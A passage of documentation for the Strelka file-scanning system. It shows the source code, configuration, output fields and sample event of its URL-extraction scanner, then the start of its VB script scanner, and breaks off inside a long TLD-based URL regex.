Optionsregex: Dictionary entry that specifies a regex to apply to the scanner. This entry is lazy loaded when it is first referenced, compiled, and stored in the regexes dictionary. Defaults to False (uses default regex).
Source code instrelka/src/python/strelka/scanners/scan_url.py class ScanUrl(strelka.Scanner):\n \"\"\"Collects URLs from files.\n\n Uses regular expressions (regex) to parse URLs from file data. Multiple\n regexes are supported through the 'regex' option. The default URL regex is\n derived from these resources:\n https://mathiasbynens.be/demo/url-regex\n https://data.iana.org/TLD/tlds-alpha-by-domain.txt\n\n Attributes:\n regexes: Dictionary of compiled regexes used by the scanner. This\n includes a default regex that is widely scoped.\n\n Options:\n regex: Dictionary entry that specifies a regex to apply to the scanner.\n This entry is lazy loaded when it is first referenced, compiled, and\n stored in the regexes dictionary.\n Defaults to False (uses default regex).\n \"\"\"\n\n def init(self):\n # Default compiled regex pattern for URL extraction.\n # This default pattern aims to match a wide range of URLs including those with TLDs.\n self.regexes = {\n \"default\": re.compile(\n rb'(?:\\b[a-z\\d.-]+://[^<>\\s\\(\\)]+|\\b(?:(?:(?:[^\\s!@#$%^&*()_=+[\\]{}\\|;:\\'\",.<>/?]+)\\.)+(?:aaa|aarp|abarth|abb|abbott|abbvie|abc|able|abogado|abudhabi|ac|academy|accenture|accountant|accountants|aco|active|actor|ad|adac|ads|adult|ae|aeg|aero|aetna|af|afamilycompany|afl|africa|ag|agakhan|agency|ai|aig|aigo|airbus|airforce|airtel|akdn|al|alfaromeo|alibaba|alipay|allfinanz|allstate|ally|alsace|alstom|am|americanexpress|americanfamily|amex|amfam|amica|amsterdam|analytics|android|anquan|anz|ao|aol|apartments|app|apple|aq|aquarelle|ar|arab|aramco|archi|army|arpa|art|arte|as|asda|asia|associates|at|athleta|attorney|au|auction|audi|audible|audio|auspost|author|auto|autos|avianca|aw|aws|ax|axa|az|azure|ba|baby|baidu|banamex|bananarepublic|band|bank|bar|barcelona|barclaycard|barclays|barefoot|bargains|baseball|basketball|bauhaus|bayern|bb|bbc|bbt|bbva|bcg|bcn|bd|be|beats|beauty|beer|bentley|berlin|best|bestbuy|bet|bf|bg|bh|bharti|bi|bible|bid|bike|bing|bingo|bio|biz|bj|black|blackfriday|blanco|blockbuster|blog|bloomberg|blue|bm|bms|bmw|bn|bnl|bnpparibas|bo|boats|boehringer|bofa|bom|bond|boo|book|booking|bosch|bostik|boston|bot|boutique|box|br|bradesco|bridgestone|broadway|broker|brother|brussels|bs|bt|budapest|bugatti|build|builders|business|buy|buzz|bv|bw|by|bz|bzh|ca|cab|cafe|cal|call|calvinklein|cam|camera|camp|cancerresearch|canon|capetown|capital|capitalone|car|caravan|cards|care|career|careers|cars|cartier|casa|case|caseih|cash|casino|cat|catering|catholic|cba|cbn|cbre|cbs|cc|cd|ceb|center|ceo|cern|cf|cfa|cfd|cg|ch|chanel|channel|charity|chase|chat|cheap|chintai|christmas|chrome|chrysler|church|ci|cipriani|circle|cisco|citadel|citi|citic|city|cityeats|ck|cl|claims|cleaning|click|clinic|clinique|clothing|cloud|club|clubmed|cm|cn|co|coach|codes|coffee|college|cologne|com|comcast|commbank|community|company|compare|computer|comsec|condos|construction|consulting|contact|contractors|cooking|cookingchannel|cool|coop|corsica|country|coupon|coupons|courses|cr|credit|creditcard|creditunion|cricket|crown|crs|cruise|cruises|csc|cu|cuisinella|cv|cw|cx|cy|cymru|cyou|cz|dabur|dad|dance|data|date|dating|datsun|day|dclk|dds|de|deal|dealer|deals|degree|delivery|dell|deloitte|delta|democrat|dental|dentist|desi|design|dev|dhl|diamonds|diet|digital|direct|directory|discount|discover|dish|diy|dj|dk|dm|dnp|do|docs|doctor|dodge|dog|doha|domains|dot|download|drive|dtv|dubai|duck|dunlop|duns|dupont|durban|dvag|dvr|dz|earth|eat|ec|eco|edeka|edu|education|ee|eg|email|emerck|energy|engineer|engineering|enterprises|epost|epson|equipment|er|ericsson|erni|es|esq|estate|esurance|et|etisalat|eu|eurovision|eus|events|everbank|exchange|expert|exposed|express|extraspace|fage|fail|fairwinds|faith|family|fan|fans|farm|farmers|fashion|fast|fedex|feedback|ferrari|ferrero|fi|fiat|fidelity|fido|film|final|finance|financial|fire|firestone|firmdale|fish|fishing|fit|fitness|fj|fk|flickr|flights|flir|florist|flowers|fly|fm|fo|foo|food|foodnetwork|football|ford|forex|forsale|forum|foundation|fox|fr|free|fresenius|frl|frogans|frontdoor|frontier|ftr|fujitsu|fujixerox|fun|fund|furniture|futbol|fyi|ga|gal|gallery|gallo|gallup|game|games|gap|garden|gb|gbiz|gd|gdn|ge|gea|gent|genting|george|gf|gg|ggee|gh|gi|gift|gifts|gives|giving|gl|glade|glass|gle|global|globo|gm|gmail|gmbh|gmo|gmx|gn|godaddy|gold|goldpoint|golf|goo|goodhands|goodyear|goog|google|gop|got|gov|gp|gq|gr|grainger|graphics|gratis|green|gripe|grocery|group|gs|gt|gu|guardian|gucci|guge|guide|guitars|guru|gw|gy|hair|hamburg|hangout|haus|hbo|hdfc|hdfcbank|health|healthcare|help|helsinki|here|hermes|hgtv|hiphop|hisamitsu|hitachi|hiv|hk|hkt|hm|hn|hockey|holdings|holiday|homedepot|homegoods|homes|homesense|honda|honeywell|horse|hospital|host|hosting|hot|hoteles|hotels|hotmail|house|how|hr|hsbc|ht|hu|hughes|hyatt|hyundai|ibm|icbc|ice|icu|id|ie|ieee|ifm|ikano|il|im|imamat|imdb|immo|immobilien|in|inc|industries|infiniti|info|ing|ink|institute|insurance|insure|int|intel|international|intuit|investments|io|ipiranga|iq|ir|irish|is|iselect|ismaili|ist|istanbul|it|itau|itv|iveco|jaguar|java|jcb|jcp|je|jeep|jetzt|jewelry|jio|jlc|jll|jm|jmp|jnj|jo|jobs|joburg|jot|joy|jp|jpmorgan|jprs|juegos|juniper|kaufen|kddi|ke|kerryhotels|kerrylogistics|kerryproperties|kfh|kg|kh|ki|kia|kim|kinder|kindle|kitchen|kiwi|km|kn|koeln|komatsu|kosher|kp|kpmg|kpn|kr|krd|kred|kuokgroup|kw|ky|kyoto|kz|la|lacaixa|ladbrokes|lamborghini|lamer|lancaster|lancia|lancome|land|landrover|lanxess|lasalle|lat|latino|latrobe|law|lawyer|lb|lc|lds|lease|leclerc|lefrak|legal|lego|lexus|lgbt|li|liaison|lidl|life|lifeinsurance|lifestyle|lighting|like|lilly|limited|limo|lincoln|linde|link|lipsy|live|living|lixil|lk|llc|loan|loans|locker|locus|loft|lol|london|lotte|lotto|love|lpl|lplfinancial|lr|ls|lt|ltd|ltda|lu|lundbeck|lupin|luxe|luxury|lv|ly|ma|macys|madrid|maif|maison|makeup|man|management|mango|map|market|marketing|markets|marriott|marshalls|maserati|mattel|mba|mc|mckinsey|md|me|med|media|meet|melbourne|meme|memorial|men|menu|merckmsd|metlife|mg|mh|miami|microsoft|mil|mini|mint|mit|mitsubishi|mk|ml|mlb|mls|mm|mma|mn|mo|mobi|mobile|mobily|moda|moe|moi|mom|monash|money|monster|mopar|mormon|mortgage|moscow|moto|motorcycles|mov|movie|movistar|mp|mq|mr|ms|msd|mt|mtn|mtr|mu|museum|mutual|mv|mw|mx|my|mz|na|nab|nadex|nagoya|name|nationwide|natura|navy|nba|nc|ne|nec|net|netbank|netflix|network|neustar|new|newholland|news|next|nextdirect|nexus|nf|nfl|ng|ngo|nhk|ni|nico|nike|nikon|ninja|nissan|nissay|nl|no|nokia|northwesternmutual|norton|now|nowruz|nowtv|np|nr|nra|nrw|ntt|nu|nyc|nz|obi|observer|off|office|okinawa|olayan|olayangroup|oldnavy|ollo|om|omega|one|ong|onl|online|onyourside|ooo|open|oracle|orange|org|organic|origins|osaka|otsuka|ott|ovh|pa|page|panasonic|panerai|paris|pars|partners|parts|party|passagens|pay|pccw|pe|pet|pf|pfizer|pg|ph|pharmacy|phd|philips|phone|photo|photography|photos|physio|piaget|pics|pictet|pictures|pid|pin|ping|pink|pioneer|pizza|pk|pl|place|play|playstation|plumbing|plus|pm|pn|pnc|pohl|poker|politie|porn|post|pr|pramerica|praxi|press|prime|pro|prod|productions|prof|progressive|promo|properties|property|protection|pru|prudential|ps|pt|pub|pw|pwc|py|qa|qpon|quebec|quest|qvc|racing|radio|raid|re|read|realestate|realtor|realty|recipes|red|redstone|redumbrella|rehab|reise|reisen|reit|reliance|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rexroth|rich|richardli|ricoh|rightathome|ril|rio|rip|rmit|ro|rocher|rocks|rodeo|rogers|room|rs|rsvp|ru|rugby|ruhr|run|rw|rwe|ryukyu|sa|saarland|safe|safety|sakura|sale|salon|samsclub|samsung|sandvik|sandvikcoromant|sanofi|sap|sarl|sas|save|saxo|sb|sbi|sbs|sc|sca|scb|schaeffler|schmidt|scholarships|school|schule|schwarz|science|scjohnson|scor|scot|sd|se|search|seat|secure|security|seek|select|sener|services|ses|seven|sew|sex|sexy|sfr|sg|sh|shangrila|sharp|shaw|shell|shia|shiksha|shoes|shop|shopping|shouji|show|showtime|shriram|si|silk|sina|singles|site|sj|sk|ski|skin|sky|skype|sl|sling|sm|smart|smile|sn|sncf|so|soccer|social|softbank|software|sohu|solar|solutions|song|sony|soy|space|spiegel|sport|spot|spreadbetting|sr|srl|srt|st|stada|staples|star|starhub|statebank|statefarm|statoil|stc|stcgroup|stockholm|storage|store|stream|studio|study|style|su|sucks|supplies|supply|support|surf|surgery|suzuki|sv|swatch|swiftcover|swiss|sx|sy|sydney|symantec|systems|sz|tab|taipei|talk|taobao|target|tatamotors|tatar|tattoo|tax|taxi|tc|tci|td|tdk|team|tech|technology|tel|telefonica|temasek|tennis|teva|tf|tg|th|thd|theater|theatre|tiaa|tickets|tienda|tiffany|tips|tires|tirol|tj|tjmaxx|tjx|tk|tkmaxx|tl|tm|tmall|tn|to|today|tokyo|tools|top|toray|toshiba|total|tours|town|toyota|toys|tr|trade|trading|training|travel|travelchannel|travelers|travelersinsurance|trust|trv|tt|tube|tui|tunes|tushu|tv|tvs|tw|tz|ua|ubank|ubs|uconnect|ug|uk|unicom|university|uno|uol|ups|us|uy|uz|va|vacations|vana|vanguard|vc|ve|vegas|ventures|verisign|versicherung|vet|vg|vi|viajes|video|vig|viking|villas|vin|vip|virgin|visa|vision|vistaprint|viva|vivo|vlaanderen|vn|vodka|volkswagen|volvo|vote|voting|voto|voyage|vu|vuelos|wales|walmart|walter|wang|wanggou|warman|watch|watches|weather|weatherchannel|webcam|weber|website|wed|wedding|weibo|weir|wf|whoswho|wien|wiki|williamhill|win|windows|wine|winners|wme|wolterskluwer|woodside|work|works|world|wow|ws|wtc|wtf|xbox|xerox|xfinity|xihuan|xin|xn--11b4c3d|xn--1ck2e1b|xn--1qqw23a|xn--2scrj9c|xn--30rr7y|xn--3bst00m|xn--3ds443g|xn--3e0b707e|xn--3hcrj9c|xn--3oq18vl8pn36a|xn--3pxu8k|xn--42c2d9a|xn--45br5cyl|xn--45brj9c|xn--45q11c|xn--4gbrim|xn--54b7fta0cc|xn--55qw42g|xn--55qx5d|xn--5su34j936bgsg|xn--5tzm5g|xn--6frz82g|xn--6qq986b3xl|xn--80adxhks|xn--80ao21a|xn--80aqecdr1a|xn--80asehdb|xn--80aswg|xn--8y0a063a|xn--90a3ac|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--9krt00a|xn--b4w605ferd|xn--bck1b9a5dre4c|xn--c1avg|xn--c2br7g|xn--cck2b3b|xn--cg4bki|xn--clchc0ea0b2g2a9gcd|xn--czr694b|xn--czrs0t|xn--czru2d|xn--d1acj3b|xn--d1alf|xn--e1a4c|xn--eckvdtc9d|xn--efvy88h|xn--estv75g|xn--fct429k|xn--fhbei|xn--fiq228c5hs|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--fjq720a|xn--flw351e|xn--fpcrj9c3d|xn--fzc2c9e2c|xn--fzys8d69uvgm|xn--g2xx48c|xn--gckr3f0f|xn--gecrj9c|xn--gk3at1e|xn--h2breg3eve|xn--h2brj9c|xn--h2brj9c8c|xn--hxt814e|xn--i1b6b1a6a2e|xn--imr513n|xn--io0a7i|xn--j1aef|xn--j1amh|xn--j6w193g|xn--jlq61u9w7b|xn--jvr189m|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--kpu716f|xn--kput3i|xn--l1acc|xn--lgbbat1ad8j|xn--mgb9awbf|xn--mgba3a3ejt|xn--mgba3a4f16a|xn--mgba7c0bbn0a|xn--mgbaakc7dvf|xn--mgbaam7a8h|xn--mgbab2bd|xn--mgbai9azgqp6j|xn--mgbayh7gpa|xn--mgbb9fbpob|xn--mgbbh1a|xn--mgbbh1a71e|xn--mgbc0a9azcg|xn--mgbca7dzdo|xn--mgberp4a5d4ar|xn--mgbgu82a|xn--mgbi4ecexp|xn--mgbpl2fh|xn--mgbt3dhd|xn--mgbtx2b|xn--mgbx4cd0ab|xn--mix891f|xn--mk1bu44c|xn--mxtq1m|xn--ngbc5azd|xn--ngbe9e0a|xn--ngbrx|xn--node|xn--nqv7f|xn--nqv7fs00ema|xn--nyqy26a|xn--o3cw4h|xn--ogbpf8fl|xn--otu796d|xn--p1acf|xn--p1ai|xn--pbt977c|xn--pgbs0dh|xn--pssy2u|xn--q9jyb4c|xn--qcka1pmc|xn--qxam|xn--rhqv96g|xn--rovu88b|xn--rvc1e0am3e|xn--s9brj9c|xn--ses554g|xn--t60b56a|xn--tckwe|xn--tiq49xqyj|xn--unup4y|xn--vermgensberater-ctb|xn--vermgensberatung-pwb|xn--vhquv|xn--vuq861b|xn--w4r85el8fhu5dnra|xn--w4rs40l|xn--wgbh1c|xn--wgbl6a|xn--xhq521b|xn--xkc2al3hye2a|xn--xkc2dl3a5ee0h|xn--y9a3aq|xn--yfro4i67o|xn--ygbi2ammx|xn--zfr164b|xxx|xyz|yachts|yahoo|yamaxun|yandex|ye|yodobashi|yoga|yokohama|you|youtube|yt|yun|za|zappos|zara|zero|zip|zippo|zm|zone|zuerich|zw)|(?:(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])\\.){3}(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5]))(?:[;/][^#?<>\\s]*)?(?:\\?[^#<>\\s]*)?(?:#[^<>\\s\\(\\)]*)?(?!\\w))'\n )\n }\n\n def scan(self, data, file, options, expire_at):\n try:\n # Obtain regex pattern from options or use the default one.\n regex_key = options.get(\"regex\", \"default\")\n if regex_key not in self.regexes and regex_key in options:\n # Compile and store the custom regex if provided and not already compiled.\n self.regexes[regex_key] = re.compile(options[regex_key].encode())\n\n url_regex = self.regexes[regex_key]\n\n # Normalize data: replace multiple whitespace characters with a single space.\n normalized_data = re.sub(rb\"\\s+\", b\" \", data)\n\n # Initialize 'urls' event list to store extracted URLs.\n self.event.setdefault(\"urls\", [])\n\n # Find all URLs using the regex pattern.\n urls = set(url_regex.findall(normalized_data))\n for url in urls:\n # Strip leading and trailing punctuation characters from the URL.\n clean_url = url.strip(b\"!\\\"#$%&'()*+,-./:;<=>?@[\\\\]^_`{|}~\").decode()\n if clean_url not in self.event[\"urls\"]:\n self.event[\"urls\"].append(clean_url)\n\n except Exception as e:\n self.flags.append(f\"scanner_error: {e}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanUrl.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludetext/plain"},{"location":"Scanners/ScanUrl.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list urls list urls str"},{"location":"Scanners/ScanUrl.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"urls\": unordered(\n [\n \"example.com\",\n \"http://foobar.example.com\",\n \"https://barfoo.example.com\",\n \"ftp://barfoo.example.com\",\n ]\n ),\n }\nScanner for Visual Basic (VB) script files.
This scanner parses VB script files to extract various components like comments, function names, strings, and URLs. It leverages the Pygments lexer for VB.NET to tokenize the script data and then extracts useful information from these tokens.
Attributes:
Name Type Descriptionlexer A Pygments lexer object for tokenizing VB.NET scripts.
url_regex A compiled regex pattern for extracting URLs from the script.
Source code instrelka/src/python/strelka/scanners/scan_vb.py class ScanVb(strelka.Scanner):\n \"\"\"\n Scanner for Visual Basic (VB) script files.\n\n This scanner parses VB script files to extract various components like comments,\n function names, strings, and URLs. It leverages the Pygments lexer for VB.NET to\n tokenize the script data and then extracts useful information from these tokens.\n\n Attributes:\n lexer: A Pygments lexer object for tokenizing VB.NET scripts.\n url_regex: A compiled regex pattern for extracting URLs from the script.\n \"\"\"\n\n def init(self):\n # Initialize the lexer for VB.NET language using Pygments\n self.lexer = lexers.get_lexer_by_name(\"vbnet\")\n\n # Regular expression to capture URLs, considering various schemes and TLDs.\n self.url_regex = re.compile(\n r'(?:\\b[a-z\\d.-]+://[^<>\\s\\(\\)]+|\\b(?:(?:(?:[^\\s!@#$%^&*()_=+[\\]{}\\|;:\\'\",.<>/?]+)\\.)+(?:aaa|aarp|abarth|abb|abbott|abbvie|abc|able|abogado|abudhabi|ac|academy|accenture|accountant|accountants|aco|active|actor|ad|adac|ads|adult|ae|aeg|aero|aetna|af|afamilycompany|afl|africa|ag|agakhan|agency|ai|aig|aigo|airbus|airforce|airtel|akdn|al|alfaromeo|alibaba|alipay|allfinanz|allstate|ally|alsace|alstom|am|americanexpress|americanfamily|amex|amfam|amica|amsterdam|analytics|android|anquan|anz|ao|aol|apartments|app|apple|aq|aquarelle|ar|arab|aramco|archi|army|arpa|art|arte|as|asda|asia|associates|at|athleta|attorney|au|auction|audi|audible|audio|auspost|author|auto|autos|avianca|aw|aws|ax|axa|az|azure|ba|baby|baidu|banamex|bananarepublic|band|bank|bar|barcelona|barclaycard|barclays|barefoot|bargains|baseball|basketball|bauhaus|bayern|bb|bbc|bbt|bbva|bcg|bcn|bd|be|beats|beauty|beer|bentley|berlin|best|bestbuy|bet|bf|bg|bh|bharti|bi|bible|bid|bike|bing|bingo|bio|biz|bj|black|blackfriday|blanco|blockbuster|blog|bloomberg|blue|bm|bms|bmw|bn|bnl|bnpparibas|bo|boats|boehringer|bofa|bom|bond|boo|book|booking|bosch|bostik|boston|bot|boutique|box|br|bradesco|bridgestone|broadway|broker|brother|brussels|bs|bt|budapest|bugatti|build|builders|business|buy|buzz|bv|bw|by|bz|bzh|ca|cab|cafe|cal|call|calvinklein|cam|camera|camp|cancerresearch|canon|capetown|capital|capitalone|car|caravan|cards|care|career|careers|cars|cartier|casa|case|caseih|cash|casino|cat|catering|catholic|cba|cbn|cbre|cbs|cc|cd|ceb|center|ceo|cern|cf|cfa|cfd|cg|ch|chanel|channel|charity|chase|chat|cheap|chintai|christmas|chrome|chrysler|church|ci|cipriani|circle|cisco|citadel|citi|citic|city|cityeats|ck|cl|claims|cleaning|click|clinic|clinique|clothing|cloud|club|clubmed|cm|cn|co|coach|codes|coffee|college|cologne|com|comcast|commbank|community|company|compare|computer|comsec|condos|construction|consulting|contact|contractors|cooking|cookingchannel|cool|coop|corsica|country|coupon|coupons|courses|cr|credit|creditcard|creditunion|cricket|crown|crs|cruise|cruises|csc|cu|cuisinella|cv|cw|cx|cy|cymru|cyou|cz|dabur|dad|dance|data|date|dating|datsun|day|dclk|dds|de|deal|dealer|deals|degree|delivery|dell|deloitte|delta|democrat|dental|dentist|desi|design|dev|dhl|diamonds|diet|digital|direct|directory|discount|discover|dish|diy|dj|dk|dm|dnp|do|docs|doctor|dodge|dog|doha|domains|dot|download|drive|dtv|dubai|duck|dunlop|duns|dupont|durban|dvag|dvr|dz|earth|eat|ec|eco|edeka|edu|education|ee|eg|email|emerck|energy|engineer|engineering|enterprises|epost|epson|equipment|er|ericsson|erni|es|esq|estate|esurance|et|etisalat|eu|eurovision|eus|events|everbank|exchange|expert|exposed|express|extraspace|fage|fail|fairwinds|faith|family|fan|fans|farm|farmers|fashion|fast|fedex|feedback|ferrari|ferrero|fi|fiat|fidelity|fido|film|final|finance|financial|fire|firestone|firmdale|fish|fishing|fit|fitness|fj|fk|flickr|flights|flir|florist|flowers|fly|fm|fo|foo|food|foodnetwork|football|ford|forex|forsale|forum|foundation|fox|fr|free|fresenius|frl|frogans|frontdoor|frontier|ftr|fujitsu|fujixerox|fun|fund|furniture|futbol|fyi|ga|gal|gallery|gallo|gallup|game|games|gap|garden|gb|gbiz|gd|gdn|ge|gea|gent|genting|george|gf|gg|ggee|gh|gi|gift|gifts|gives|giving|gl|glade|glass|gle|global|globo|gm|gmail|gmbh|gmo|gmx|gn|godaddy|gold|goldpoint|golf|goo|goodhands|goodyear|goog|google|gop|got|gov|gp|gq|gr|grainger|graphics|gratis|green|gripe|grocery|group|gs|gt|gu|guardian|gucci|guge|guide|guitars|guru|gw|gy|hair|hamburg|hangout|haus|hbo|hdfc|hdfcbank|health|healthcare|help|helsinki|here|hermes|hgtv|hiphop|hisamitsu|hitachi|hiv|hk|hkt|hm|hn|hockey|holdings|holiday|homedepot|homegoods|homes|homesense|honda|honeywell|horse|hospital|host|hosting|hot|hoteles|hotels|hotmail|house|how|hr|hsbc|ht|hu|hughes|hyatt|hyundai|ibm|icbc|ice|icu|id|ie|ieee|ifm|ikano|il|im|imamat|imdb|immo|immobilien|in|inc|industries|infiniti|info|ing|ink|institute|insurance|insure|int|intel|international|intuit|investments|io|ipiranga|iq|ir|irish|is|iselect|ismaili|ist|istanbul|it|itau|itv|iveco|jaguar|java|jcb|jcp|je|jeep|jetzt|jewelry|jio|jlc|jll|jm|jmp|jnj|jo|jobs|joburg|jot|joy|jp|jpmorgan|jprs|juegos|juniper|kaufen|kddi|ke|kerryhotels|kerrylogistics|kerryproperties|kfh|kg|kh|ki|kia|kim|kinder|kindle|kitchen|kiwi|km|kn|koeln|komatsu|kosher|kp|kpmg|kpn|kr|krd|kred|kuokgroup|kw|ky|kyoto|kz|la|lacaixa|ladbrokes|lamborghini|lamer|lancaster|lancia|lancome|land|landrover|lanxess|lasalle|lat|latino|latrobe|law|lawyer|lb|lc|lds|lease|leclerc|lefrak|legal|lego|lexus|lgbt|li|liaison|lidl|life|lifeinsurance|lifestyle|lighting|like|lilly|limited|limo|lincoln|linde|link|lipsy|live|living|lixil|lk|llc|loan|loans|locker|locus|loft|lol|london|lotte|lotto|love|lpl|lplfinancial|lr|ls|lt|ltd|ltda|lu|lundbeck|lupin|luxe|luxury|lv|ly|ma|macys|madrid|maif|maison|makeup|man|management|mango|map|market|marketing|markets|marriott|marshalls|maserati|mattel|mba|mc|mckinsey|md|me|med|media|meet|melbourne|meme|memorial|men|menu|merckmsd|metlife|mg|mh|miami|microsoft|mil|mini|mint|mit|mitsubishi|mk|ml|mlb|mls|mm|mma|mn|mo|mobi|mobile|mobily|moda|moe|moi|mom|monash|money|monster|mopar|mormon|mortgage|moscow|moto|motorcycles|mov|movie|movistar|mp|mq|mr|ms|msd|mt|mtn|mtr|mu|museum|mutual|mv|mw|mx|my|mz|na|nab|nadex|nagoya|name|nationwide|natura|navy|nba|nc|ne|nec|net|netbank|netflix|network|neustar|new|newholland|news|next|nextdirect|nexus|nf|nfl|ng|ngo|nhk|ni|nico|nike|nikon|ninja|nissan|nissay|nl|no|nokia|northwesternmutual|norton|now|nowruz|nowtv|np|nr|nra|nrw|ntt|nu|nyc|nz|obi|observer|off|office|okinawa|olayan|olayangroup|oldnavy|ollo|om|omega|one|ong|onl|online|onyourside|ooo|open|oracle|orange|org|organic|origins|osaka|otsuka|ott|ovh|pa|page|panasonic|panerai|paris|pars|partners|parts|party|passagens|pay|pccw|pe|pet|pf|pfizer|pg|ph|pharmacy|phd|philips|phone|photo|photography|photos|physio|piaget|pics|pictet|pictures|pid|pin|ping|pink|pioneer|pizza|pk|pl|place|play|playstation|plumbing|plus|pm|pn|pnc|pohl|poker|politie|porn|post|pr|pramerica|praxi|press|prime|pro|prod|productions|prof|progressive|promo|properties|property|protection|pru|prudential|ps|pt|pub|pw|pwc|py|qa|qpon|quebec|quest|qvc|racing|radio|raid|re|read|realestate|realtor|realty|recipes|red|redstone|redumbrella|rehab|reise|reisen|reit|reliance|ren|rent|rentals|repair|report|republican|rest|restaurant|review|reviews|rexroth|rich|richardli|ricoh|rightathome|ril|rio|rip|rmit|ro|rocher|rocks|rodeo|rogers|room|rs|rsvp|ru|rugby|ruhr|run|rw|rwe|ryukyu|sa|saarland|safe|safety|sakura|sale|salon|samsclub|samsung|sandvik|sandvikcoromant|sanofi|sap|sarl|sas|save|saxo|sb|sbi|sbs|sc|sca|scb|schaeffler|schmidt|scholarships|school|schule|schwarz|science|scjohnson|scor|scot|sd|se|search|seat|secure|security|seek|select|sener|services|ses|seven|sew|sex|sexy|sfr|sg|sh|shangrila|sharp|shaw|shell|shia|shiksha|shoes|shop|shopping|shouji|show|showtime|shriram|si|silk|sina|singles|site|sj|sk|ski|skin|sky|skype|sl|sling|sm|smart|smile|sn|sncf|so|soccer|social|softbank|software|sohu|solar|solutions|song|sony|soy|space|spiegel|sport|spot|spreadbetting|sr|srl|srt|st|stada|staples|star|starhub|statebank|statefarm|statoil|stc|stcgroup|stockholm|storage|store|stream|studio|study|style|su|sucks|supplies|supply|support|surf|surgery|suzuki|sv|swatch|swiftcover|swiss|sx|sy|sydney|symantec|systems|sz|tab|taipei|talk|taobao|target|tatamotors|tatar|tattoo|tax|taxi|tc|tci|td|tdk|team|tech|technology|tel|telefonica|temasek|tennis|teva|tf|tg|th|thd|theater|theatre|tiaa|tickets|tienda|tiffany|tips|tires|tirol|tj|tjmaxx|tjx|tk|tkmaxx|tl|tm|tmall|tn|to|today|tokyo|tools|top|toray|toshiba|total|tours|town|toyota|toys|tr|trade|trading|training|travel|travelchannel|travelers|travelersinsurance|trust|trv|tt|tube|tui|tunes|tushu|tv|tvs|tw|tz|ua|ubank|ubs|uconnect|ug|uk|unicom|university|uno|uol|ups|us|uy|uz|va|vacations|vana|vanguard|vc|ve|vegas|ventures|verisign|versicherung|vet|vg|vi|viajes|video|vig|viking|villas|vin|vip|virgin|visa|vision|vistaprint|viva|vivo|vlaanderen|vn|vodka|volkswagen|volvo|vote|voting|voto|voyage|vu|vuelos|wales|walmart|walter|wang|wanggou|warman|watch|watches|weather|weatherchannel|webcam|weber|website|wed|wedding|weibo|weir|wf|whoswho|wien|wiki|williamhill|win|windows|wine|winners|wme|wolterskluwer|woodside|work|works|world|wow|ws|wtc|wtf|xbox|xerox|xfinity|xihuan|xin|xn--11b4c3d|xn--1ck2e1b|xn--1qqw23a|xn--2scrj9c|xn--30rr7y|xn--3bst00m|xn--3ds443g|xn--3e0b707e|xn--3hcrj9c|xn--3oq18vl8pn36a|xn--3pxu8k|xn--42c2d9a|xn--45br5cyl|xn--45brj9c|xn--45q11c|xn--4gbrim|xn--54b7fta0cc|xn--55qw42g|xn--55qx5d|xn--5su34j936bgsg|xn--5tzm5g|xn--6frz82g|xn--6qq986b3xl|xn--80adxhks|xn--80ao21a|xn--80aqecdr1a|xn--80asehdb|xn--80aswg|xn--8y0a063a|xn--90a3ac|xn--90ae|xn--90ais|xn--9dbq2a|xn--9et52u|xn--9krt00a|xn--b4w605ferd|xn--bck1b9a5dre4c|xn--c1avg|xn--c2br7g|xn--cck2b3b|xn--cg4bki|xn--clchc0ea0b2g2a9gcd|xn--czr694b|xn--czrs0t|xn--czru2d|xn--d1acj3b|xn--d1alf|xn--e1a4c|xn--eckvdtc9d|xn--efvy88h|xn--estv75g|xn--fct429k|xn--fhbei|xn--fiq228c5hs|xn--fiq64b|xn--fiqs8s|xn--fiqz9s|xn--fjq720a|xn--flw351e|xn--fpcrj9c3d|xn--fzc2c9e2c|xn--fzys8d69uvgm|xn--g2xx48c|xn--gckr3f0f|xn--gecrj9c|xn--gk3at1e|xn--h2breg3eve|xn--h2brj9c|xn--h2brj9c8c|xn--hxt814e|xn--i1b6b1a6a2e|xn--imr513n|xn--io0a7i|xn--j1aef|xn--j1amh|xn--j6w193g|xn--jlq61u9w7b|xn--jvr189m|xn--kcrx77d1x4a|xn--kprw13d|xn--kpry57d|xn--kpu716f|xn--kput3i|xn--l1acc|xn--lgbbat1ad8j|xn--mgb9awbf|xn--mgba3a3ejt|xn--mgba3a4f16a|xn--mgba7c0bbn0a|xn--mgbaakc7dvf|xn--mgbaam7a8h|xn--mgbab2bd|xn--mgbai9azgqp6j|xn--mgbayh7gpa|xn--mgbb9fbpob|xn--mgbbh1a|xn--mgbbh1a71e|xn--mgbc0a9azcg|xn--mgbca7dzdo|xn--mgberp4a5d4ar|xn--mgbgu82a|xn--mgbi4ecexp|xn--mgbpl2fh|xn--mgbt3dhd|xn--mgbtx2b|xn--mgbx4cd0ab|xn--mix891f|xn--mk1bu44c|xn--mxtq1m|xn--ngbc5azd|xn--ngbe9e0a|xn--ngbrx|xn--node|xn--nqv7f|xn--nqv7fs00ema|xn--nyqy26a|xn--o3cw4h|xn--ogbpf8fl|xn--otu796d|xn--p1acf|xn--p1ai|xn--pbt977c|xn--pgbs0dh|xn--pssy2u|xn--q9jyb4c|xn--qcka